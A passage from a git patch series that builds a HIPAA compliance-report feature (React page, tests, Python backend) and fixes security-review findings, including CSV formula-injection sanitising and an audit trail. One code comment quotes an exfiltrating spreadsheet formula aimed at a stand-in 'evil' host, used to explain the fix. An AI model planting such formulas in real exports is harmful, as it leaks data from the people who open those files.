+ await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByRole('button', { name: /Download PDF/ })).not.toBeDisabled()) + + await user.click(screen.getByRole('button', { name: /Download PDF/ })) + await waitFor(() => expect(compliance.downloadHipaaReportPdf).toHaveBeenCalledWith( + expect.objectContaining({ orgId: 1 }), + )) + }) + + it('clicking Download CSV calls downloadHipaaReportCsv and surfaces a failure', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + vi.mocked(compliance.downloadHipaaReportCsv).mockRejectedValue(new Error('boom')) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByRole('button', { name: /Download CSV/ })).not.toBeDisabled()) + + await user.click(screen.getByRole('button', { name: /Download CSV/ })) + await waitFor(() => expect(screen.getByText(/Download failed: boom/)).toBeInTheDocument()) + }) +}) diff --git a/frontend/cc-ui/src/pages/ComplianceReport.tsx b/frontend/cc-ui/src/pages/ComplianceReport.tsx new file mode 100644 index 00000000..8bc7afd4 --- /dev/null +++ b/frontend/cc-ui/src/pages/ComplianceReport.tsx @@ -0,0 +1,253 @@ +import { useEffect, useState } from 'react' +import { AlertTriangle, Download, FileText } from 'lucide-react' +import { + downloadHipaaReportCsv, downloadHipaaReportPdf, fetchHipaaReport, + type HipaaReport, type HipaaReportFilters, +} from '../compliance' +import { fetchPlatformOrgs, type PlatformOrgSummary } from '../organizations' +import { + ActionToolbar, Button, Card, DataTable, EmptyState, ErrorState, LoadingState, SectionHeader, StatCard, +} from '../components/ui' +import { formatDate } from '../format' + +// HIPAA Basic Compliance Report v0.8.0. platform_admin-only (see +// auth.ts::canSeeComplianceReport's own comment for why org_admin isn't +// offered yet) -- AdminApp.tsx gates the nav entry/route on that, this +// page also renders the same EmptyState AnalyticsDashboard.tsx uses on a +// 403, as defense in depth if reached some other way. +// +// Deliberately NOT auto-loaded on mount like AnalyticsDashboard.tsx -- +// generating this report is a real, potentially-expensive fan-out across +// two other services (see compliance/service.py), so it only runs on an +// explicit "Generate Report" click, matching the task brief's own button +// list. Download buttons stay disabled until a report has actually been +// generated for the currently-selected org/range, so a download can +// never target a combination this page hasn't already confirmed is +// valid (org exists, from_date <= to_date -- both re-validated by the +// backend regardless). + +const selectStyle: React.CSSProperties = { + fontSize: 12, padding: '7px 10px', borderRadius: 8, + border: '1px solid var(--border)', background: 'var(--surface)', color: 'var(--text)', +} +const fieldLabel: React.CSSProperties = { fontSize: 12, fontWeight: 600, color: 'var(--text2)', marginBottom: 4, display: 'block' } + +function isoDateDaysAgo(days: number): string { + const d = new Date() + d.setDate(d.getDate() - (days - 1)) + return d.toISOString().slice(0, 10) +} + +function todayIso(): string { + return new Date().toISOString().slice(0, 10) +} + +export default function ComplianceReport() { + const [fromDate, setFromDate] = useState(isoDateDaysAgo(30)) + const [toDate, setToDate] = useState(todayIso()) + const [orgOptions, setOrgOptions] = useState(null) + const [orgId, setOrgId] = useState(undefined) + + const [report, setReport] = useState(null) + const [loading, setLoading] = useState(false) + const [error, setError] = useState(null) + const [denied, setDenied] = useState(false) + const [downloadError, setDownloadError] = useState(null) + const [downloading, setDownloading] = useState<'pdf' | 'csv' | null>(null) + + useEffect(() => { + fetchPlatformOrgs({ pageSize: 100 }).then(r => setOrgOptions(r.items)).catch(() => setOrgOptions(null)) + }, []) + + const currentFilters = (): HipaaReportFilters | null => { + if (orgId == null) return null + return { fromDate, toDate, orgId } + } + + const handleGenerate = () => { + const filters = currentFilters() + if (!filters) return + setLoading(true) + setError(null) + setDenied(false) + setReport(null) + fetchHipaaReport(filters) + .then(setReport) + .catch((e: unknown) => { + const message = e instanceof Error ? e.message : String(e) + if (message.endsWith(' 403')) setDenied(true) + else setError(message) + }) + .finally(() => setLoading(false)) + } + + const handleDownload = async (kind: 'pdf' | 'csv') => { + const filters = currentFilters() + if (!filters) return + setDownloadError(null) + setDownloading(kind) + try { + await (kind === 'pdf' ? downloadHipaaReportPdf(filters) : downloadHipaaReportCsv(filters)) + } catch (e: unknown) { + setDownloadError(e instanceof Error ? e.message : String(e)) + } finally { + setDownloading(null) + } + } + + const canGenerate = orgId != null && fromDate <= toDate && !loading + + return ( +
+ + + +
+
+ + setFromDate(e.target.value)} + /> +
+
+ + setToDate(e.target.value)} + /> +
+
+ + +
+ + + + + +
+ {fromDate > toDate && ( +
From date must be on or before to date.
+ )} +
+ + {downloadError && ( +
+ setDownloadError(null)} /> +
+ )} + + {denied && ( + + )} + + {loading && } + {!loading && error && } + + {!loading && !error && !denied && report && } +
+ ) +} + +function ReportPreview({ report }: { report: HipaaReport }) { + return ( + <> + {report.truncated && ( +
+ +
+ )} + + +
+ {report.organization_name} (org #{report.organization_id}) · {report.from_date} to {report.to_date} +
+ Generated {formatDate(report.generated_at)} by {report.generated_by} +
+
+ + + + 0 ? 'red' : 'default'} + /> +
+
+ + +
User Access Log
+ r.user_label }, + { key: 'logins', header: 'Login Count', render: (r: typeof report.user_access[number]) => r.login_count }, + { key: 'last', header: 'Last Login', render: (r: typeof report.user_access[number]) => r.last_login ? formatDate(r.last_login) : '—' }, + { key: 'failed', header: 'Failed Attempts', render: (r: typeof report.user_access[number]) => r.failed_attempts }, + ]} + rows={report.user_access} + rowKey={r => r.user_label} + emptyLabel="No login activity recorded in this period." + /> +
+ + +
RAG Query Log
+ r.timestamp ? formatDate(r.timestamp) : '—' }, + { key: 'user', header: 'User', render: (r: typeof report.rag_queries[number]) => r.user_label }, + { key: 'trace', header: 'Trace ID', render: (r: typeof report.rag_queries[number]) => r.trace_id ?? '—' }, + ]} + rows={report.rag_queries} + rowKey={r => `${r.trace_id ?? 'no-trace'}-${r.timestamp ?? ''}-${r.user_label}`} + emptyLabel="No RAG queries recorded in this period." + /> +
+ + +
Security Events
+ r.timestamp ? formatDate(r.timestamp) : '—' }, + { key: 'event', header: 'Event', render: (r: typeof report.security_events[number]) => r.label }, + { key: 'actor', header: 'Actor', render: (r: typeof report.security_events[number]) => r.actor_label }, + { + key: 'outcome', header: 'Outcome', + render: (r: typeof report.security_events[number]) => ( + {r.outcome} + ), + }, + ]} + rows={report.security_events} + rowKey={r => `${r.event_type}-${r.timestamp ?? ''}-${r.actor_label}`} + emptyLabel="No security events recorded in this period." + /> +
+ + ) +} From 1ad35db6424da563af8b7b9e2f8b664bbe842bdc Mon Sep 17 00:00:00 2001 From: Manish Kumar Date: Wed, 12 Aug 2026 01:32:54 -0500 Subject: [PATCH 7/8] fix: CSV formula injection, silent downstream failures, cache provenance, incident terminology, and report-access audit trail Pre-merge security & compliance review fixes (findings 1-4 and 6). Findings 1-4 are necessarily one commit -- all four touch service.py's return shape and its three consumers (router.py, pdf.py's template, csv_export.py) in lockstep; splitting them would leave an intermediate commit referencing fields that don't exist yet. Finding 6 (audit_log.py) is folded in here rather than its own commit for the same reason: router.py's audit_log.log_report_access call sites were already part of this commit's router.py rewrite, and a commit whose router.py imports a module that doesn't exist yet isn't a commit that actually builds. 1. CSV formula injection (CWE-1236). csv_export.py::_sanitize_cell + _writerow are now the one path every cell in every section passes through -- any value starting with =, +, -, or @ (Organization.name has no character-class validation in omnibioai-auth's own schema, so any org member with rename permission could set one to a live formula) gets a leading apostrophe, the standard Excel/Sheets/ LibreOffice "treat as literal text" convention. 12 new tests including the concrete HYPERLINK-formula and cmd-execution vectors the review flagged. 2. Silent downstream failures now distinguishable from genuine empty results. auth_client.py/billing_client.py's _get/list_all_* functions return an explicit status ("ok"/"not_found"/"unavailable", or a truncated/unavailable bool pair) instead of collapsing "the fetch failed" and "the fetch found nothing" into the same empty shape. service.py collects every failure into sources_unavailable (human- readable strings, e.g. "RAG query events (omnibioai-billing)"), rendered as a warning banner in JSON/PDF/CSV -- a downstream outage no longer produces a report that silently looks like "this org had zero activity". A confirmed 404 (get_organization's "not_found" status) now raises OrganizationNotFoundError -> a real HTTP 404, instead of silently falling back to a placeholder label for a nonexistent org. 3. generated_by/generated_at removed from service.build_report's return value (and therefore from what analytics/cache.py caches) -- router.py's new _build_report stamps both fresh on every response, cached or not. Fixes: a cache hit could previously attribute a report to whichever admin happened to trigger the original cache-miss computation, a real integrity defect for a document whose purpose is auditability. 4. security_incidents (implying a legal/HIPAA reportable determination this report never makes) replaced by two separately-named summary counters: failed_login_attempts (routine, expected noise) and security_events_requiring_review (role_assignment_denied/ mfa_verification_failed specifically). Section 4's events table is unchanged -- both kinds of event still appear there; only the Section 1 summary terminology changed, so a mistyped password is no longer counted identically to a rejected privilege-escalation attempt. 6. audit_log.py: a compliance_report_accessed event (actor, organization, date range, timestamp, format) recorded to the existing `audit:events` Redis stream on every successful JSON/PDF/CSV response -- the same platform-wide, multi-writer bus omnibioai-security-audit's consumer already drains, and omnibioai-api-gateway's own middleware already writes to. No new audit producer/consumer/table: the event shape matches omnibioai-security-audit's AuditEvent model field-for-field, so it persists as a normal, queryable AuditEventRecord row through existing infrastructure if/when that consumer processes this stream. Best-effort, fire-and-forget (never blocks or breaks the report response), matching every other audit-write call site's own documented convention. Never called on a 401/403/404 -- nothing to record for a request that didn't actually produce a report. Also adds: pagination-cap boundary tests (auth_client/billing_client, proving the 101st page is never fetched once truncated), a malicious- organization-name HTML-escaping regression test (pdf.py), and a multi-org-login-attribution test that documents/locks in the existing, known v0.9-deferred limitation rather than silently changing it. 71 new/changed tests across the seven affected files plus the new audit_log module. Full backend suite: 1259 passed, 99.85% coverage (98% gate). --- .../control_center/compliance/audit_log.py | 89 +++++++ .../control_center/compliance/auth_client.py | 97 ++++--- .../compliance/billing_client.py | 26 +- .../control_center/compliance/csv_export.py | 101 ++++++-- .../src/control_center/compliance/router.py | 88 +++++-- .../src/control_center/compliance/service.py | 126 +++++++--- .../compliance/templates/hipaa_report.html | 28 ++- backend/tests/test_compliance_audit_log.py | 80 ++++++ backend/tests/test_compliance_auth_client.py | 94 +++++-- .../tests/test_compliance_billing_client.py | 44 +++- backend/tests/test_compliance_csv_export.py | 95 ++++++- backend/tests/test_compliance_pdf.py | 47 +++- backend/tests/test_compliance_router.py | 158 +++++++++++- backend/tests/test_compliance_service.py | 238 ++++++++++-------- 14 files changed, 1051 insertions(+), 260 deletions(-) create mode 100644 backend/src/control_center/compliance/audit_log.py create mode 100644 backend/tests/test_compliance_audit_log.py diff --git a/backend/src/control_center/compliance/audit_log.py b/backend/src/control_center/compliance/audit_log.py new file mode 100644 index 00000000..0a7c2edd --- /dev/null +++ b/backend/src/control_center/compliance/audit_log.py @@ -0,0 +1,89 @@ +"""HIPAA Basic Compliance Report v0.8.0: audit trail for the report +feature's own usage. Reuses the existing `audit:events` Redis stream -- +the same platform-wide, multi-writer event bus omnibioai-security-audit's +consumer already drains into its durable `audit_events` table, and that +omnibioai-api-gateway's own middleware (AuthMiddleware/PolicyMiddleware/ +HpcMiddleware/AuditMiddleware -- see checks/gateway_traffic.py's own +comment for that inventory) already writes to. This module makes +control-center one more writer into infrastructure that already exists; +it does not add a new stream, a new consumer, or a new persistence +table. The event shape below matches omnibioai-security-audit's own +AuditEvent pydantic model (audit/models.py) field-for-field, so if/when +that service's consumer processes this stream, an event written here +persists as a normal, queryable AuditEventRecord row through the +existing GET /audit/events API -- no changes needed on that side. + +Pre-merge security review finding (2026-08-12): "generating a HIPAA +compliance report is itself a sensitive administrative action that isn't +currently recorded anywhere" -- this module is that record. Called from +router.py after each of the three endpoints successfully builds its +response (JSON/PDF/CSV) -- never on a 401/403/404, which have nothing to +record here. + +Best-effort, fire-and-forget, synchronous: matches the exact posture +every other audit-write call site in this platform documents for itself +(omnibioai-security-audit's AuditLogger.log(), omnibioai-auth's +audit_service.log_event -- both "NEVER break core system", swallow and +log a warning rather than raise). Synchronous, not async, matching +analytics/cache.py's own established pattern of doing a single blocking +Redis call from inside an async route handler -- a single XADD is fast +enough that a dedicated async Redis client would be new-pattern +complexity this module doesn't need. +""" +from __future__ import annotations + +import json +import logging +import os +import uuid +from datetime import date, datetime, timezone + +import redis + +logger = logging.getLogger("control_center.compliance.audit_log") + +# Same env var names/defaults omnibioai-security-audit's own +# AuditConfig uses (audit/config.py) -- not redefined independently, so +# a deployment that already points AUDIT_STREAM/AUDIT_MAXLEN somewhere +# non-default for that service doesn't need a second, possibly-drifting +# set of env vars here. +REDIS_URL = os.environ.get("REDIS_URL", "redis://redis:6379") +AUDIT_STREAM = os.environ.get("AUDIT_STREAM", "audit:events") +MAX_STREAM_LENGTH = int(os.environ.get("AUDIT_MAXLEN", "1000000")) + +_redis = redis.from_url(REDIS_URL, decode_responses=True) + + +def log_report_access( + *, actor: str, organization_id: int, from_date: date, to_date: date, report_format: str, +) -> None: + """Records one "a platform_admin generated/downloaded a HIPAA + compliance report" event. `actor` is the same email/sub value + router.py already resolves as generated_by -- not re-derived here, + so this module never touches the JWT itself. + """ + event = { + "event_id": str(uuid.uuid4()), + "timestamp": datetime.now(timezone.utc).isoformat(), + "service": "control-center", + "event_type": "compliance_report_accessed", + "user_id": actor, + "action": "generate", + "resource": f"organization:{organization_id}", + "decision": "success", + "reason": None, + "trace_id": None, + "context": { + "organization_id": organization_id, + "from_date": from_date.isoformat(), + "to_date": to_date.isoformat(), + "format": report_format, + }, + } + try: + _redis.xadd(AUDIT_STREAM, {"data": json.dumps(event)}, maxlen=MAX_STREAM_LENGTH, approximate=True) + except Exception: + # Never let an audit-logging failure break the actual report + # response that already succeeded -- see this module's own + # docstring. + logger.warning("compliance_report_audit_log_failed", exc_info=True) diff --git a/backend/src/control_center/compliance/auth_client.py b/backend/src/control_center/compliance/auth_client.py index 01a2ca0d..823f8e72 100644 --- a/backend/src/control_center/compliance/auth_client.py +++ b/backend/src/control_center/compliance/auth_client.py @@ -12,6 +12,17 @@ its own two upstream calls, same "compliance doesn't reach into analytics' internals" boundary usage_event_query_service.py drew in omnibioai-billing for the sibling reason (see that module's own comment). + +Pre-merge security review finding (2026-08-12): every function here used +to collapse "the fetch failed" and "the fetch succeeded and found +nothing" into the same empty-list/None shape. For a compliance report, +those are not the same thing -- a report that silently renders as "zero +users, zero events" because omnibioai-auth was unreachable is a false +negative, not an empty result. Every function now returns an explicit +status alongside its data (`"ok"` / `"not_found"` / `"unavailable"`, or +a `truncated`/`unavailable` bool pair for the paginated list functions) +so service.py can tell the two apart and surface it in +`sources_unavailable` rather than producing a misleadingly clean report. """ from __future__ import annotations @@ -28,44 +39,62 @@ # follow -- 100 pages * the endpoint's own max page_size (100) = 100,000 # events per report. A real report window blowing past that almost # certainly means from_date/to_date is far too wide for a "basic" report; -# stopping here (and telling the caller so, via the second element of the -# returned tuple) beats an unbounded fan-out that could hang the request. +# stopping here (and telling the caller so, via the returned `truncated` +# flag) beats an unbounded fan-out that could hang the request. _MAX_PAGES = 100 _PAGE_SIZE = 100 -async def _get(path: str, params: dict[str, Any], authorization: Optional[str]) -> Optional[dict]: +async def _get(path: str, params: dict[str, Any], authorization: Optional[str]) -> tuple[Optional[dict], str]: + """Returns (body, status) where status is "ok" (200, body is the + parsed JSON), "not_found" (404 -- the resource genuinely doesn't + exist), or "unavailable" (network error, timeout, or any other + non-200 -- the resource's existence is simply unknown). Callers that + only care about "did this succeed" can check `status == "ok"`; + get_organization cares about the not_found/unavailable distinction + specifically (see its own docstring).""" headers = {"Authorization": authorization} if authorization else {} try: async with httpx.AsyncClient(timeout=_TIMEOUT_SECONDS) as client: r = await client.get(f"{IAM_URL}{path}", params=params, headers=headers) except httpx.RequestError: - return None + return None, "unavailable" + if r.status_code == 404: + return None, "not_found" if r.status_code != 200: - return None - return r.json() + return None, "unavailable" + return r.json(), "ok" -async def get_organization(organization_id: int, authorization: Optional[str]) -> Optional[dict]: +async def get_organization(organization_id: int, authorization: Optional[str]) -> tuple[Optional[dict], str]: """GET /orgs/{organization_id} -- used for the report's own display - name (organization_name). None on any failure; the caller falls back - to a generic "Organization #{id}" label rather than failing the whole - report over a display-only field. + name (organization_name). The not_found/unavailable distinction + matters here specifically: service.py raises a real 404 + (OrganizationNotFoundError) on "not_found" -- a report for an org + that doesn't exist should say so, not silently render an empty + report labeled "Organization #N" -- but degrades to a placeholder + label (and records the source as unavailable) on "unavailable", + since a transient auth-service outage says nothing about whether the + org actually exists. """ return await _get(f"/orgs/{organization_id}", {}, authorization) -async def get_org_members(organization_id: int, authorization: Optional[str]) -> list[dict]: +async def get_org_members(organization_id: int, authorization: Optional[str]) -> tuple[list[dict], str]: """GET /orgs/{organization_id}/members -- [{user_id, email, status, roles}, ...]. Unpaginated (the endpoint itself returns a plain list, no page/total envelope) -- same "confirmed unpaginated before relying on it" gate analytics/service.py's own team-roster fetch documents - for its sibling call. + for its sibling call. Returns ([], status) on any failure -- status + is "not_found"/"unavailable" from the underlying fetch, or + "unavailable" if the response wasn't the list shape expected (a + malformed/unexpected body is treated the same as a fetch failure, + not silently accepted as "zero members"). """ - result = await _get(f"/orgs/{organization_id}/members", {}, authorization) - if result is None: - return [] - return result if isinstance(result, list) else [] + result, status = await _get(f"/orgs/{organization_id}/members", {}, authorization) + if status == "ok" and isinstance(result, list): + return result, "ok" + return [], status if status != "ok" else "unavailable" async def list_all_audit_events( @@ -75,12 +104,19 @@ async def list_all_audit_events( end_date: datetime, event_type: Optional[str] = None, authorization: Optional[str], -) -> tuple[list[dict], bool]: +) -> tuple[list[dict], bool, bool]: """Pages through GET /platform/audit-events until exhausted or - _MAX_PAGES is hit. Returns (all items collected, truncated) -- - `truncated=True` means the caller should treat the result as a - possibly-incomplete sample, not a definitive count, and the report - context surfaces that rather than silently under-reporting. + _MAX_PAGES is hit. Returns (items, truncated, unavailable). + + `truncated=True` means the pagination cap was hit -- real data likely + exists beyond what was fetched (the report window is probably too + wide for a "basic" report). `unavailable=True` means a page fetch + itself failed (network error or non-200) -- `items` holds whatever + was collected before the failure, which must be treated as an + unreliable partial sample, not a definitive (even if small) result. + These are deliberately distinct signals: a wide-but-working report + should say "truncated", not "unavailable" -- only a genuine fetch + failure should say the latter. organization_id=None fetches platform-wide (used for login events, which are never organization-scoped at the source -- see this @@ -101,21 +137,20 @@ async def list_all_audit_events( if event_type is not None: params["event_type"] = event_type - result = await _get("/platform/audit-events", params, authorization) - if result is None: - # A fetch failure (network error, non-200) is "no more data - # available", not "there was more data than we could fetch" -- - # same distinction billing_client.list_all_usage_events draws - # for its own unreachable case. Not truncated: nothing was - # deliberately left uncollected. - return items, False + result, status = await _get("/platform/audit-events", params, authorization) + if status != "ok": + # A fetch failure mid-pagination still leaves `items` holding + # whatever earlier pages already succeeded -- returned as-is, + # but flagged unavailable so the caller never mistakes a + # partial sample for a complete (if small) result. + return items, False, True page_items = result.get("items", []) items.extend(page_items) total_pages = result.get("total_pages", 0) if page >= total_pages or not page_items: - return items, False + return items, False, False page += 1 - return items, True + return items, True, False diff --git a/backend/src/control_center/compliance/billing_client.py b/backend/src/control_center/compliance/billing_client.py index b3a2b351..cfcb0973 100644 --- a/backend/src/control_center/compliance/billing_client.py +++ b/backend/src/control_center/compliance/billing_client.py @@ -4,6 +4,13 @@ _get/Authorization-forwarding shape as auth_client.py and analytics/billing_client.py -- not merged with the latter, see auth_client.py's own module docstring for why. + +Pre-merge security review finding (2026-08-12): same fix as +auth_client.py -- list_all_usage_events now returns an explicit +`unavailable` flag distinct from `truncated`, so a billing-service +outage doesn't get silently rendered as "this org made zero RAG +queries." See auth_client.list_all_audit_events's own docstring for the +full reasoning (identical here). """ from __future__ import annotations @@ -30,9 +37,11 @@ async def list_all_usage_events( end_date: date, resource: Optional[str] = None, authorization: Optional[str], -) -> tuple[list[dict], bool]: +) -> tuple[list[dict], bool, bool]: """Pages through GET /billing/organizations/{organization_id}/usage-events - until exhausted or _MAX_PAGES is hit. Returns (all events, truncated). + until exhausted or _MAX_PAGES is hit. Returns (items, truncated, + unavailable) -- see auth_client.list_all_audit_events's docstring for + what each flag means; the same distinction applies here. """ headers = {"Authorization": authorization} if authorization else {} items: list[dict] = [] @@ -56,9 +65,14 @@ async def list_all_usage_events( params=params, headers=headers, ) except httpx.RequestError: - break + # A fetch failure mid-pagination still leaves `items` + # holding whatever earlier pages already succeeded -- + # returned as-is, but flagged unavailable, same + # "partial sample, not a small-but-complete result" + # reasoning as auth_client.py. + return items, False, True if r.status_code != 200: - break + return items, False, True result = r.json() page_events = result.get("events", []) @@ -68,6 +82,6 @@ async def list_all_usage_events( offset += len(page_events) page += 1 if offset >= total_count or not page_events: - return items, False + return items, False, False - return items, page >= _MAX_PAGES + return items, True, False diff --git a/backend/src/control_center/compliance/csv_export.py b/backend/src/control_center/compliance/csv_export.py index db60cb6b..65b8ac8a 100644 --- a/backend/src/control_center/compliance/csv_export.py +++ b/backend/src/control_center/compliance/csv_export.py @@ -6,6 +6,20 @@ has (Section 1 is a 2-column metric/value table; Sections 2-4 are wider). No new csv-writing convention invented -- csv.writer + io.StringIO is the exact mechanism analytics/router.py's own /analytics/export already uses. + +Pre-merge security review finding (2026-08-12): every string field here +-- organization_name, user_label, actor_label, event label, generated_by +-- ultimately traces back to user-controlled input (an org name is a +free-text field any org member with create/rename permission can set; +Organization.name has no character-class validation in omnibioai-auth's +own schema). csv.writer performs no formula-injection sanitization on +its own, so a value like `=HYPERLINK("http://evil/?x="&A1)` written +verbatim would execute as a live formula for anyone who opens this +export in Excel/Sheets/LibreOffice -- the well-known CSV/Formula +Injection class (CWE-1236, OWASP). `_writerow` below is the one place +every row passes through, so every cell in every section is covered by +construction -- there is no code path in this module that can call +`writer.writerow` directly and skip it. """ from __future__ import annotations @@ -13,41 +27,80 @@ import io from typing import Any +# The four leading characters spreadsheet applications treat as "this +# cell is a formula" -- the standard set the OWASP CSV Injection cheat +# sheet and every major vendor mitigation (Google, Microsoft, GitHub) +# neutralize. A leading tab/CR is a secondary, much rarer vector some +# guidance also lists; not included here to keep the mitigation focused +# on the actual, demonstrated vector (org names), not a speculative one. +_FORMULA_PREFIXES = ("=", "+", "-", "@") + + +def _sanitize_cell(value: Any) -> Any: + """Neutralizes formula injection: any cell whose string form starts + with =, +, -, or @ gets a leading apostrophe, the standard Excel/ + Sheets/LibreOffice convention for "treat this as literal text, not a + formula" -- the cell still displays the original value (spreadsheet + apps hide the leading apostrophe), it just never executes. + + Non-string values (int/None) are returned unchanged -- a plain + integer or None can never start with a formula-trigger character, + and preserving the original type keeps numeric columns numeric + rather than silently stringifying every cell in the file. + """ + if not isinstance(value, str) or not value: + return value + if value[0] in _FORMULA_PREFIXES: + return "'" + value + return value + + +def _writerow(writer: Any, cells: list[Any]) -> None: + writer.writerow([_sanitize_cell(c) for c in cells]) + def render_report_csv(context: dict[str, Any]) -> str: buffer = io.StringIO() writer = csv.writer(buffer) - writer.writerow(["HIPAA Basic Compliance Report"]) - writer.writerow(["Organization", f"{context['organization_name']} (org #{context['organization_id']})"]) - writer.writerow(["Period", f"{context['from_date']} to {context['to_date']}"]) - writer.writerow(["Generated", f"{context['generated_at']} by {context['generated_by']}"]) - writer.writerow([]) + _writerow(writer, ["HIPAA Basic Compliance Report"]) + _writerow(writer, ["Organization", f"{context['organization_name']} (org #{context['organization_id']})"]) + _writerow(writer, ["Period", f"{context['from_date']} to {context['to_date']}"]) + _writerow(writer, ["Generated", f"{context['generated_at']} by {context['generated_by']}"]) - writer.writerow(["## Section 1: Executive Summary"]) - writer.writerow(["Metric", "Value"]) + sources_unavailable = context.get("sources_unavailable") or [] + if sources_unavailable: + _writerow(writer, []) + _writerow(writer, ["WARNING: one or more data sources were unavailable during report generation"]) + for source in sources_unavailable: + _writerow(writer, ["Unavailable source", source]) + _writerow(writer, []) + + _writerow(writer, ["## Section 1: Executive Summary"]) + _writerow(writer, ["Metric", "Value"]) summary = context["summary"] - writer.writerow(["Total Users", summary["total_users"]]) - writer.writerow(["Active Users In Period", summary["active_users"]]) - writer.writerow(["RAG Queries", summary["total_rag_queries"]]) - writer.writerow(["Security Incidents", summary["security_incidents"]]) - writer.writerow([]) - - writer.writerow(["## Section 2: User Access Log"]) - writer.writerow(["User", "Login Count", "Last Login", "Failed Attempts"]) + _writerow(writer, ["Total Users", summary["total_users"]]) + _writerow(writer, ["Active Users In Period", summary["active_users"]]) + _writerow(writer, ["RAG Queries", summary["total_rag_queries"]]) + _writerow(writer, ["Failed Login Attempts", summary["failed_login_attempts"]]) + _writerow(writer, ["Security Events Requiring Review", summary["security_events_requiring_review"]]) + _writerow(writer, []) + + _writerow(writer, ["## Section 2: User Access Log"]) + _writerow(writer, ["User", "Login Count", "Last Login", "Failed Attempts"]) for row in context["user_access"]: - writer.writerow([row["user_label"], row["login_count"], row["last_login"], row["failed_attempts"]]) - writer.writerow([]) + _writerow(writer, [row["user_label"], row["login_count"], row["last_login"], row["failed_attempts"]]) + _writerow(writer, []) - writer.writerow(["## Section 3: RAG Query Log"]) - writer.writerow(["Timestamp", "User", "Trace ID"]) + _writerow(writer, ["## Section 3: RAG Query Log"]) + _writerow(writer, ["Timestamp", "User", "Trace ID"]) for row in context["rag_queries"]: - writer.writerow([row["timestamp"], row["user_label"], row["trace_id"] or ""]) - writer.writerow([]) + _writerow(writer, [row["timestamp"], row["user_label"], row["trace_id"] or ""]) + _writerow(writer, []) - writer.writerow(["## Section 4: Security Events"]) - writer.writerow(["Timestamp", "Event", "Actor", "Outcome"]) + _writerow(writer, ["## Section 4: Security Events"]) + _writerow(writer, ["Timestamp", "Event", "Actor", "Outcome"]) for row in context["security_events"]: - writer.writerow([row["timestamp"], row["label"], row["actor_label"], row["outcome"]]) + _writerow(writer, [row["timestamp"], row["label"], row["actor_label"], row["outcome"]]) return buffer.getvalue() diff --git a/backend/src/control_center/compliance/router.py b/backend/src/control_center/compliance/router.py index 06e7193c..574c4c19 100644 --- a/backend/src/control_center/compliance/router.py +++ b/backend/src/control_center/compliance/router.py @@ -12,19 +12,30 @@ redefined); 2) reads-through the existing 1-hour-capable Redis cache (analytics/cache.py -- this package doesn't own a second caching mechanism); 3) delegates all aggregation to service.py -- no computation -happens in this file. +happens in this file; 4) records a compliance_report_accessed audit +event on success (audit_log.py). + +Pre-merge security review fix (2026-08-12): generated_by/generated_at are +deliberately NOT part of what _fetch_cached_report returns -- that +function's return value is exactly what gets cached, and caching who +asked for a report (and when) would mean every cache HIT re-attributes +the report to whoever happened to trigger the original cache MISS. Both +fields are stamped fresh, per request, in _finalize_report below, after +the cache lookup -- a JSON/PDF/CSV response's own "generated by/at" +header is always accurate for the request that produced it, cached data +or not. """ from __future__ import annotations import asyncio -from datetime import date +from datetime import date, datetime, timezone from typing import Optional from fastapi import APIRouter, Depends, Header, HTTPException, Query from fastapi.responses import Response from control_center.analytics import cache -from control_center.compliance import csv_export, pdf, service +from control_center.compliance import audit_log, csv_export, pdf, service from control_center.core.auth import require_permission router = APIRouter(prefix="/compliance", tags=["compliance"]) @@ -53,21 +64,48 @@ def _validate_range(from_date: date, to_date: date) -> None: raise HTTPException(400, "from_date must be on or before to_date") -async def _build_cached_report( - *, org_id: int, from_date: date, to_date: date, generated_by: str, authorization: Optional[str], -) -> dict: +async def _fetch_cached_report(*, org_id: int, from_date: date, to_date: date, authorization: Optional[str]) -> dict: + """Returns the cacheable report body -- summary/sections/ + sources_unavailable/truncated, nothing request-specific. See this + module's own docstring for why generated_by/generated_at are + deliberately excluded from what this function (and therefore the + cache) returns. + """ key = _cache_key(org_id, from_date, to_date) return await cache.get_or_set_async( key, "hipaa_report", lambda: service.build_report( - organization_id=org_id, from_date=from_date, to_date=to_date, - generated_by=generated_by, authorization=authorization, + organization_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, ), ttl=_CACHE_TTL_SECONDS, ) +async def _build_report( + *, org_id: int, from_date: date, to_date: date, authorization: Optional[str], generated_by: str, +) -> dict: + """The cached body plus fresh, request-specific provenance -- the + shape every one of the three routes actually needs. 404s on a + confirmed-nonexistent organization (service.OrganizationNotFoundError + -- a real 404 from omnibioai-auth, not a network hiccup); any other + downstream failure degrades gracefully instead (see + sources_unavailable in the returned body).""" + try: + data = await _fetch_cached_report(org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization) + except service.OrganizationNotFoundError as e: + raise HTTPException(404, str(e)) + return { + **data, + "generated_at": datetime.now(timezone.utc).isoformat(), + "generated_by": generated_by, + } + + +def _filename_stem(org_id: int, from_date: date, to_date: date) -> str: + return f"hipaa-report-org{org_id}-{from_date.isoformat()}-to-{to_date.isoformat()}" + + @router.get("/hipaa-report") async def hipaa_report( from_date: date = Query(...), @@ -77,14 +115,14 @@ async def hipaa_report( admin: dict = Depends(_require_platform_admin), ) -> dict: _validate_range(from_date, to_date) - return await _build_cached_report( - org_id=org_id, from_date=from_date, to_date=to_date, - generated_by=_generated_by(admin), authorization=authorization, + generated_by = _generated_by(admin) + report = await _build_report( + org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, generated_by=generated_by, ) - - -def _filename_stem(org_id: int, from_date: date, to_date: date) -> str: - return f"hipaa-report-org{org_id}-{from_date.isoformat()}-to-{to_date.isoformat()}" + audit_log.log_report_access( + actor=generated_by, organization_id=org_id, from_date=from_date, to_date=to_date, report_format="json", + ) + return report @router.get("/hipaa-report/pdf") @@ -96,9 +134,9 @@ async def hipaa_report_pdf( admin: dict = Depends(_require_platform_admin), ) -> Response: _validate_range(from_date, to_date) - context = await _build_cached_report( - org_id=org_id, from_date=from_date, to_date=to_date, - generated_by=_generated_by(admin), authorization=authorization, + generated_by = _generated_by(admin) + context = await _build_report( + org_id=org_id, from_date=from_date, to_date=to_date, authorization=authorization, generated_by=generated_by, ) # WeasyPrint's layout pass is a real, blocking CPU cost (not I/O) -- # off the 